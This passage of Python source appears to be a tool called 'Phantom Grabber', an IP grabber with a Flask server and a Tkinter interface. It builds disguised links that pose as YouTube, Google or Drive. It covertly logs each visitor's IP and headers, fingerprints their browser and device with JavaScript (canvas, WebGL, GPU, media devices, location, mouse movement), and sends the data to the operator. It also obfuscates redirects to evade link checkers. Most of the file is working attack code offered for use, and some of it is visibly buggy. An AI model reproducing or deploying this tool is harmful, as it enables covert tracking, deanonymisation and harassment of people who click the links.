logger = StealthLogger()

# Modify Flask setup
app.wsgi_app = ProxyFix(app.wsgi_app)

def get_real_ip():
    try:
        # Try multiple IP detection services
        services = [
            'https://api.ipify.org?format=json',
            'https://api.myip.com',
            'https://api64.ipify.org?format=json'
            'https://iplocation.io'
            'https://www.ip2location.com'
        ]
        for service in services:
            try:
                response = requests.get(service, timeout=5)
                if response.ok:
                    return response.json().get('ip')
            except:
                continue
        return None
    except:
        return request.remote_addr

def generate_fake_ip():
    # Generate believable IPs but avoid private ranges
    first_octet = random.choice([60, 70, 80, 90, 100, 120, 130, 140, 150, 160, 170, 180, 190, 200])
    return f"{first_octet}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"

@app.before_request
def before_request():
    """Fixed request handler"""
    try:
        if hasattr(logger, 'spoof_enabled') and logger.spoof_enabled and logger.current_proxy:
            request.environ['HTTP_X_FORWARDED_FOR'] = logger.spoofed_host
            request.environ['HTTP_X_REAL_IP'] = logger.spoofed_host
    except Exception:
        pass  # Silently handle any errors

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def phantom_handler(path):
    """Main handler for all phantom routes"""
    if not logger.server_running:
        return "Service unavailable", 503

    # Record visitor info
    log_entry = {
        'timestamp': datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
        'ip': request.headers.get('X-Forwarded-For', request.remote_addr),
        'path': path,
        'user_agent': request.headers.get('User-Agent', 'Unknown')
    }
    log_entries.append(log_entry)

    # Always redirect to local server
    return redirect(f"{logger.local_server_url}/{path}")

@app.route('/redirect/<token>')
def cloud_redirect(token):
    """Handle redirects from cloud to local server"""
    if token != logger.redirect_token:
        return "Invalid route", 404
        
    if not logger.local_redirect:
        return "No local server", 503
        
    return redirect(logger.local_redirect)

@app.route('/r/<session_id>')
def handle_redirect(session_id):
    """Enhanced redirect handler with better tracking"""
    if not logger.server_running:
        return "Not found", 404
        
    target = logger.route_map.get(session_id)
    if not target:
        return redirect("https://www.google.com")
        
    # Log comprehensive visit data
    log_entry = logger.log_visit(request)
    
    # Return stealth redirect with tracking
    return f'''
    <html>
        <head>
            <script>
                // Collect additional system data
                const data = {{
                    screen: {{
                        width: screen.width,
                        height: screen.height,
                        depth: screen.colorDepth,
                        orientation: screen.orientation?.type
                    }},
                    navigator: {{
                        platform: navigator.platform,
                        language: navigator.language,
                        cores: navigator.hardwareConcurrency,
                        memory: navigator.deviceMemory,
                        connection: navigator.connection?.effectiveType,
                        battery: navigator.getBattery ? 'supported' : 'unsupported'
                    }},
                    timezone: Intl.DateTimeFormat().resolvedOptions().timeZone
                }};
                
                // Send to server then redirect
                fetch('/system_data', {{
                    method: 'POST',
                    headers: {{'Content-Type': 'application/json'}},
                    body: JSON.stringify(data)
                }}).finally(() => window.location.replace("{target}"));
            </script>
            <noscript>
                <meta http-equiv="refresh" content="0;url={target}">
            </noscript>
        </head>
    </html>
    '''

@app.route('/phantom/<session_id>')
def phantom_route(session_id):
    """Simple redirect handler"""
    if not logger.server_running:
        return redirect("https://www.google.com")

    # Get target from route map
    target = logger.route_map.get(session_id, "https://www.google.com")
    
    # Log the visit
    log_entry = logger.log_visit(request)
    
    # Clear route after use
    logger.route_map.pop(session_id, None)
    
    # Return clean redirect
    return f'''
    <html>
        <head>
            <meta http-equiv="refresh" content="0;url={target}">
        </head>
        <body style="display:none">
            <script>window.location.replace("{target}");</script>
        </body>
    </html>
    '''

@app.route('/secure/bypass/<path:path>')
def secure_bypass(path):
    # Don't log IPs, only essential info
    log_entry = {
        'timestamp': datetime.now().strftime("%Y-%m-%d %H:%M:%M"),
        'user_agent': request.headers.get('User-Agent', 'Unknown').split('(')[0],
        'status': 'Active'
    }
    log_entries.append(log_entry)

    return f'''
    <html>
        <head>
            <title>Loading Secure Content...</title>
            <script>
                (async function() {{
                    try {{
                        const bypass = await fetch("{logger.target_url}", {{
                            headers: {{
                                "ngrok-skip-browser-warning": "true",
                                "Bypass-Tunnel-Reminder": "true",
                                "X-Requested-With": "XMLHttpRequest",
                                "Accept": "application/json, text/plain, */*",
                            }}
                        }});
                        window.location.replace("{logger.target_url}");
                    }} catch(e) {{
                        window.location.href = "{logger.target_url}";
                    }}
                }})();
            </script>
            <meta http-equiv="refresh" content="0;url={logger.target_url}">
        </head>
        <body style="display:none">
            <form id="secure_bypass" action="{logger.target_url}" method="GET">
                <input type="hidden" name="ngrok-skip-browser-warning" value="true">
                <input type="hidden" name="source" value="secure_content">
            </form>
            <script>document.getElementById('secure_bypass').submit();</script>
        </body>
    </html>
    '''

@app.route('/<path:path>')
def route_handler(path, session_id=None):
    """Handle all incoming requests and route to local server"""
    """Handle redirects without exposing server IP"""
    if not logger.server_running:
        return "Service unavailable", 503

    target = logger.route_map.get(session_id)
    if not target:
        return "Invalid route", 404

    # Log visitor
    log_entry = {
        'timestamp': datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
        'ip': request.headers.get('X-Forwarded-For', request.remote_addr),
        'session': session_id,
        'user_agent': request.headers.get('User-Agent', 'Unknown')
    }
    log_entries.append(log_entry)

    return redirect(target)

@app.route('/grab/<session_id>')
def ip_grabber(session_id):
    """Enhanced IP grabber with advanced tracking"""
    if not logger.server_running:
        return "Not Found", 404

    # Log visit with enhanced data
    log_entry = logger.log_visit(request)
    
    return f'''
    <html>
        <head>
            <script>
                async function collectEnhancedData() {{
                    const data = {{
                        // Device Information
                        device: {{
                            screen: {{
                                width: screen.width,
                                height: screen.height,
                                depth: screen.colorDepth,
                                orientation: screen.orientation?.type,
                                pixels: screen.width * screen.height,
                                ratio: screen.width / screen.height,
                                dpi: window.devicePixelRatio
                            }},
                            hardware: {{
                                ram: navigator.deviceMemory,
                                cores: navigator.hardwareConcurrency,
                                battery: await (navigator.getBattery ? navigator.getBattery() : null),
                                maxTouchPoints: navigator.maxTouchPoints,
                                gpu: await getGPUInfo()
                            }},
                            media: {{
                                audio: await hasAudioSupport(),
                                video: await hasVideoSupport(),
                                speakers: await hasSpeakers(),
                                microphone: await hasMicrophone(),
                                webcam: await hasWebcam()
                            }}
                        }},
                        
                        // Network Information
                        network: {{
                            connection: (navigator.connection || {{}}).effectiveType,
                            downlink: (navigator.connection || {{}}).downlink,
                            rtt: (navigator.connection || {{}}).rtt,
                            bandwidth: await measureBandwidth(),
                            proxy: await detectProxy(),
                            vpn: await detectVPN(),
                            dns: await detectDNS()
                        }},
                        
                        // Browser Information
                        browser: {{
                            engine: navigator.userAgent,
                            language: navigator.language,
                            languages: navigator.languages,
                            platform: navigator.platform,
                            vendor: navigator.vendor,
                            plugins: Array.from(navigator.plugins).map(p => p.name),
                            mimeTypes: Array.from(navigator.mimeTypes).map(m => m.type),
                            doNotTrack: navigator.doNotTrack,
                            cookiesEnabled: navigator.cookieEnabled,
                            localStorage: !!window.localStorage,
                            sessionStorage: !!window.sessionStorage,
                            adBlock: await detectAdBlock()
                        }},
                        
                        // System Information
                        system: {{
                            os: getOS(),
                            platform: getPlatform(),
                            timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
                            timeOffset: new Date().getTimezoneOffset(),
                            performance: await getPerformanceMetrics(),
                            fonts: await detectFonts(),
                            canvas: getCanvasFingerprint(),
                            webgl: getWebGLInfo(),
                            audio: getAudioFingerprint()
                        }},
                        
                        // Location Data (if available)
                        location: await getLocationData(),
                        
                        // Behavioral Data
                        behavior: {{
                            mouseMovements: trackMouseMovements(),
                            keyboardLayout: await detectKeyboardLayout(),
                            touchSupport: getTouchSupport(),
                            gestureSupport: getGestureSupport()
                        }}
                    }};

                    // Send collected data
                    await fetch('/system_data', {{
                        method: 'POST',
                        headers: {{'Content-Type': 'application/json'}},
                        body: JSON.stringify(data)
                    }});

                    // Redirect after data collection
                    window.location.replace("{logger.target_url}");
                }}

                // Helper functions for data collection
                async function getGPUInfo() {{
                    const canvas = document.createElement('canvas');
                    const gl = canvas.getContext('webgl');
                    if (!gl) return 'Not available';
                    return {{
                        vendor: gl.getParameter(gl.VENDOR),
                        renderer: gl.getParameter(gl.RENDERER),
                        version: gl.getParameter(gl.VERSION)
                    }};
                }}

                async function measureBandwidth() {{
                    const start = performance.now();
                    await fetch('/pixel.gif');
                    return performance.now() - start;
                }}

                async function detectProxy() {{
                    const startTime = performance.now();
                    const response = await fetch('https://api.ipify.org?format=json');
                    const endTime = performance.now();
                    return {{
                        latency: endTime - startTime,
                        headers: Object.fromEntries([...response.headers])
                    }};
                }}

                function getCanvasFingerprint() {{
                    const canvas = document.createElement('canvas');
                    const ctx = canvas.getContext('2d');
                    ctx.textBaseline = "top";
                    ctx.font = "14px 'Arial'";
                    ctx.textBaseline = "alphabetic";
                    ctx.fillStyle = "#f60";
                    ctx.fillRect(125,1,62,20);
                    ctx.fillStyle = "#069";
                    ctx.fillText("Phantom👻", 2, 15);
                    ctx.fillStyle = "rgba(102, 204, 0, 0.7)";
                    ctx.fillText("Grabber", 4, 17);
                    return canvas.toDataURL();
                }}

                function getTouchSupport() {{
                    return {{
                        maxTouchPoints: navigator.maxTouchPoints || 0,
                        touchEvent: 'ontouchstart' in window,
                        touchPoints: navigator.msMaxTouchPoints || 0
                    }};
                }}

                function trackMouseMovements() {{
                    let movements = [];
                    document.addEventListener('mousemove', e => {{
                        movements.push([e.clientX, e.clientY, performance.now()]);
                    }});
                    return movements;
                }}

                // Start data collection
                collectEnhancedData();
            </script>
            <noscript>
                <meta http-equiv="refresh" content="0;url={logger.target_url}">
            </noscript>
        </head>
    </html>
    '''

@app.route('/track/<token>/<session_id>')
def track_visit(token, session_id):
    """Secure tracking endpoint"""
    if token != logger.route_token:
        return redirect("https://www.google.com")  # Stealth fallback

    # Log visit
    log_entry = {
        'timestamp': datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
        'ip': request.headers.get('X-Forwarded-For', request.remote_addr),
        'real_ip': request.headers.get('X-Real-IP'),
        'user_agent': request.headers.get('User-Agent', 'Unknown'),
        'session': session_id
    }
    log_entries.append(log_entry)

    # Return simple HTML with multiple redirect methods
    return f'''
    <html>
        <head>
            <meta http-equiv="refresh" content="0;url={logger.target_url}">
            <script>
                window.onload = function() {{
                    try {{
                        window.location.replace("{logger.target_url}");
                    }} catch(e) {{
                        window.location.href = "{logger.target_url}");
                    }}
                }}
            </script>
        </head>
        <body style="display:none">
            <a href="{logger.target_url}" id="link">Continue...</a>
            <script>document.getElementById('link').click();</script>
        </body>
    </html>
    '''

@app.route('/c/<session>/<action>')
def chain_redirect(session, action):
    """Advanced anti-detection redirect"""
    if not logger.server_running:
        return "Not Found", 404

    # Add security headers
    headers = {
        'X-Frame-Options': 'DENY',
        'X-Content-Type-Options': 'nosniff',
        'Referrer-Policy': 'no-referrer',
        'Cache-Control': 'no-store, no-cache, must-revalidate'
    }
    
    # Return obfuscated redirect
    return f'''
    <html>
        <head>
            <meta name="robots" content="noindex,nofollow">
            <script>
                // Confuse redirect checkers
                history.pushState({{}}, '', '/');
                const paths = atob('{b64encode(json.dumps(logger.redirect_chain).encode()).decode()}').split(',');
                let i = 0;
                (function chain() {{
                    if (i < paths.length) {{
                        try {{
                            fetch(paths[i], {{mode: 'no-cors'}})
                            .finally(() => {{
                                i++;
                                setTimeout(chain, {random.randint(100,300)});
                            }});
                        }} catch(e) {{
                            i++;
                            setTimeout(chain, {random.randint(50,150)});
                        }}
                    }} else {{
                        window.location.replace("{logger.target_url}");
                    }}
                }})();
            </script>
            <noscript>
                <meta http-equiv="refresh" content="0;url={logger.target_url}">
            </noscript>
        </head>
        <body style="display:none"></body>
    </html>
    ''', 200, headers

@app.route('/v/<template>/<track_id>')
def smart_tracker(template, track_id):
    """Advanced tracking endpoint"""
    if not logger.server_running:
        return redirect("https://www.google.com")

    route_info = logger.route_map.get(track_id)
    if not route_info:
        return redirect("https://www.google.com")
        
    # Collect comprehensive data
    system_data = logger.collect_advanced_data(request)
    
    # Log enhanced visit data
    log_entry = {
        'timestamp': datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
        'track_id': track_id,
        'template': template,
        'system': system_data,
        'headers': dict(request.headers)
    }
    log_entries.append(log_entry)
    
    # Return stealth redirect
    return f'''
    <html>
        <head>
            <meta name="robots" content="noindex,nofollow">
            <script>
                // Collect additional system info
                const getSystemInfo = async () => {{
                    const info = {{
                        device: {{
                            gpu: await getGPUInfo(),
                            memory: navigator.deviceMemory,
                            cores: navigator.hardwareConcurrency,
                            battery: await getBatteryInfo(),
                            sensors: await getSensorInfo()
                        }},
                        browser: {{
                            plugins: Array.from(navigator.plugins).map(p => p.name),
                            canvas: getCanvasFingerprint(),
                            audio: getAudioFingerprint(),
                            webgl: getWebGLInfo()
                        }}
                    }};
                    
                    // Send to server then redirect
                    await fetch('/system_data', {{
                        method: 'POST',
                        headers: {{'Content-Type': 'application/json'}},
                        body: JSON.stringify(info)
                    }});
                    
                    window.location.replace("{route_info['target']}");
                }};
                
                getSystemInfo();
            </script>
        </head>
    </html>
    '''

@app.errorhandler(500)
def handle_error(error):
    """Handle internal server errors"""
    return redirect(logger.target_url)

class PhantomGUI:
    def __init__(self, root):
        self.root = root
        self.root.title("Phantom Grabber v3.0")
        self.root.geometry("900x700")
        self.auto_refresh = True  # Initialize at the start of __init__
        
        self.style = ttk.Style()
        self.style.theme_use('clam')
        self._configure_styles()
        
        self._create_widgets()
        self.create_log_menu()
        self.update_log()
        self.root.after(2000, self.update_log)
    
    def _configure_styles(self):
        bg = '#1a1a1a'
        fg = '#ffffff'
        self.style.configure('.', background=bg, foreground=fg)
        self.style.map('TButton', background=[('active', '#2a2a2a')])
        self.style.configure('TFrame', background=bg)
        self.style.configure('TLabel', background=bg, foreground=fg)
        self.style.configure('TEntry', fieldbackground='#2a2a2a')
    
    def _create_widgets(self):
        main_frame = ttk.Frame(self.root)
        main_frame.pack(fill=tk.BOTH, expand=True, padx=15, pady=15)
        
        config_frame = ttk.LabelFrame(main_frame, text="Phantom Configuration")
        config_frame.pack(fill=tk.X, pady=10)
        
        ttk.Label(config_frame, text="Ngrok Auth Token:").grid(row=0, column=0, padx=5, sticky='w')
        self.auth_entry = ttk.Entry(config_frame, width=50)
        self.auth_entry.grid(row=0, column=1, padx=5)
        self.auth_entry.insert(0, logger.auth_token)  # Load saved token
        
        ttk.Label(config_frame, text="DynDNS Hostname:").grid(row=1, column=0, padx=5, sticky='w')
        self.dyndns_entry = ttk.Entry(config_frame, width=50)
        self.dyndns_entry.grid(row=1, column=1, padx=5)
        self.dyndns_entry.insert(0, logger.dyndns_host)  # Load saved DynDNS
        
        ttk.Label(config_frame, text="Target URL:").grid(row=2, column=0, padx=5, sticky='w')
        self.target_entry = ttk.Entry(config_frame, width=50)
        self.target_entry.grid(row=2, column=1, padx=5)
        
        ttk.Label(config_frame, text="Spoof Template:").grid(row=3, column=0, padx=5, sticky='w')
        self.service_combo = ttk.Combobox(config_frame, values=['youtube', 'google', 'drive'])
        self.service_combo.grid(row=3, column=1, padx=5, sticky='w')
        self.service_combo.current(0)
        
        btn_frame = ttk.Frame(main_frame)
        btn_frame.pack(pady=15)
        
        self.start_btn = ttk.Button(btn_frame, text="Activate Phantom", command=self._start_server)
        self.start_btn.pack(side=tk.LEFT, padx=5)
        
        self.stop_btn = ttk.Button(btn_frame, text="Terminate", command=self._stop_server, state=tk.DISABLED)
        self.stop_btn.pack(side=tk.LEFT, padx=5)
        
        url_frame = ttk.LabelFrame(main_frame, text="Ghost Link")
        url_frame.pack(fill=tk.X, pady=10)
        
        self.url_var = tk.StringVar()
        url_entry = ttk.Entry(url_frame, textvariable=self.url_var, state='readonly', width=70)
        url_entry.pack(pady=5, padx=5)
        
        ttk.Button(url_frame, text="Copy Phantom Link", command=self._copy_url).pack(pady=5)
        
        log_frame = ttk.LabelFrame(main_frame, text="Soul Capture Logs")
        log_frame.pack(fill=tk.BOTH, expand=True, pady=10)
        
        self.log_text = tk.Text(log_frame, bg='#2a2a2a', fg='#00ff00', insertbackground='white')
        self.log_text.pack(fill=tk.BOTH, expand=True)
        
        # Bind right-click event
        self.log_text.bind("<Button-3>", self.show_log_menu)

    def create_log_menu(self):
        self.log_menu = tk.Menu(self.root, tearoff=0, bg='#1a1a1a', fg='white')
        self.log_menu.add_command(label="🔄 Refresh Logs", command=self.manual_refresh_log)
        self.log_menu.add_command(label="⏸️ Stop Refreshing", command=self.toggle_auto_refresh)
        self.log_menu.add_command(label="🗑️ Clear Logs", command=self.clear_logs)
        self.log_menu.add_separator()
        self.log_menu.add_command(label="💾 Save Logs", command=self.save_logs)

    def show_log_menu(self, event):
        self.log_menu.tk_popup(event.x_root, event.y_root)

    def manual_refresh_log(self):
        self.log_text.delete(1.0, tk.END)
        self.log_text.insert(tk.END, "🔄 Refreshing logs...\n")
        self.update_log()
        self.log_text.see(tk.END)  # Scroll to bottom

    def clear_logs(self):
        global log_entries
        log_entries = []
        self.log_text.delete(1.0, tk.END)
        self.log_text.insert(tk.END, "Logs cleared ✨\n")

    def save_logs(self):
        """Save logs with better organization"""
        try:
            # Create timestamp and filename
            timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
            filename = f"phantom_logs_{timestamp}.txt"
            filepath = os.path.join(logger.logs_dir, filename)
            
            # Get statistics
            unique_ips = len(set(entry.get('public_ip') for entry in log_entries if entry.get('public_ip')))
            unique_locations = len(set(f"{entry.get('location',{}).get('city')},{entry.get('location',{}).get('country')}" 
                                    for entry in log_entries))
            
            with open(filepath, 'w', encoding='utf-8') as f:
                # Write header
                f.write(f"Phantom Grabber Logs - {timestamp}\n")
                f.write("="*50 + "\n")
                f.write(f"Total Captures: {len(log_entries)}\n")
                f.write(f"Unique IPs: {unique_ips}\n")
                f.write(f"Unique Locations: {unique_locations}\n")
                f.write("="*50 + "\n\n")
                
                # Write detailed logs
                for entry in log_entries:
                    f.write(f"[{entry.get('timestamp', 'Unknown')}]\n")
                    f.write(f"🌐 Public IP: {entry.get('public_ip', 'Unknown')}\n")
                    f.write(f"🏠 Private IP: {entry.get('private_ip', 'Unknown')}\n")
                    
                    location = entry.get('location', {})
                    f.write(f"📍 Location: {location.get('city', 'Unknown')}, {location.get('country', 'Unknown')}\n")
                    f.write(f"🔌 ISP: {location.get('isp', 'Unknown')}\n")
                    
                    system = entry.get('system', {})
                    f.write(f"💻 OS: {system.get('os', {}).get('name', 'Unknown')} ({system.get('os', {}).get('platform', '')})\n")
                    f.write(f"🌍 Browser: {system.get('browser', {}).get('name', 'Unknown')}\n")
                    f.write(f"📱 Device: {system.get('device', {}).get('brand', '')} {system.get('device', {}).get('model', '')}\n")
                    f.write("▀"*50 + "\n")
            
            messagebox.showinfo("Success", f"Logs saved to {filename}")
        except Exception as e:
            messagebox.showerror("Error", f"Failed to save logs: {str(e)}")

    def _start_server(self):
        logger.auth_token = self.auth_entry.get().strip()
        logger.dyndns_host = self.dyndns_entry.get().strip()
        logger.target_url = self.target_entry.get().strip()
        logger.save_settings()  # Save settings when starting server
        
        try:
            server_url = logger.start_server()
            final_url = logger.generate_spoofed_url('default', server_url)
            self.url_var.set(final_url)
            self.start_btn.config(state=tk.DISABLED)
            self.stop_btn.config(state=tk.NORMAL)
            messagebox.showinfo("Success", "Phantom Server Active")
        except Exception as error:
            messagebox.showerror("Error", str(error))

    def _stop_server(self):
        self.url_var.set("")
        self.start_btn.config(state=tk.NORMAL)
        self.stop_btn.config(state=tk.DISABLED)
    
    def _copy_url(self):
        pyperclip.copy(self.url_var.get())
        messagebox.showinfo("Success", "Phantom link copied to shadow realm")
    
    def toggle_auto_refresh(self):
        """Toggle auto-refresh state"""
        self.auto_refresh = not self.auto_refresh
        if self.auto_refresh:
            self.log_menu.entryconfigure(1, label="⏸️ Stop Refreshing")
            self.update_log()  # Restart refresh cycle
            self.log_text.insert(tk.END, "🔄 Auto-refresh enabled\n")
        else:
            self.log_menu.entryconfigure(1, label="▶️ Start Refreshing")
            self.log_text.insert(tk.END, "⏸️ Auto-refresh disabled\n")

    def update_log(self):
        """Update log display with advanced data extraction"""
        try:
            if not self.auto_refresh:
                return
                
            self.log_text.delete(1.0, tk.END)
            for entry in log_entries[-15:]:  # Show last 15 entries
                try:
                    # Extract data from nested structure
                    location = entry.get('location', {})
                    system = entry.get('system', {})
                    browser = system.get('browser', {})
                    device = system.get('device', {})
                    os_info = system.get('os', {})
                    network = system.get('network', {})
                    
                    # Format log entry with proper data extraction
                    self.log_text.insert(tk.END, 
                        f"[{entry.get('timestamp', 'Unknown')}]\n"
                        f"🌐 Public IP: {entry.get('public_ip', 'Unknown')}\n"
                        f"🏠 Private IP: {entry.get('local_ip', 'Unknown')}\n"
                        f"📍 Location: {location.get('city', 'Unknown')}, {location.get('country', 'Unknown')}\n"
                        f"🌎 Region: {location.get('region', 'Unknown')}\n"
                        f"🔌 ISP: {location.get('isp', 'Unknown')}\n"
                        f"🏢 Organization: {location.get('organization', 'Unknown')}\n"
                        f"🌍 Timezone: {location.get('timezone', 'Unknown')}\n"
                        f"📡 ASN: {location.get('asn', 'Unknown')}\n"
                        f"💻 OS: {os_info.get('name', 'Unknown')}\n"
                        f"🔍 Browser: {browser.get('name', 'Unknown')} ({browser.get('language', 'Unknown')})\n"
                        f"📱 Device: {device.get('type', 'Unknown')} - {device.get('brand', 'Unknown')} {device.get('model', 'Unknown')}\n"
                        f"🔒 VPN/Proxy: {'Yes' if network.get('proxy_info', False) or network.get('vpn_detected', {}).get('detected', False) else 'No'}\n"
                        f"{'▀'*50}\n"
                    )
                except Exception as e:
                    print(f"Error formatting log entry: {str(e)}")
                    continue
                    
            if self.auto_refresh:
                self.root.after(2000, self.update_log)
                
        except Exception as e:
            print(f"Error updating logs: {str(e)}")
            if self.auto_refresh:
                self.root.after(2000, self.update_log)

    def on_closing(self):
        logger.save_settings()
        self.root.destroy()

if __name__ == "__main__":
    root = tk.Tk()
    gui = PhantomGUI(root)
    root.protocol("WM_DELETE_WINDOW", gui.on_closing)  # Handle window closing
    root.mainloop()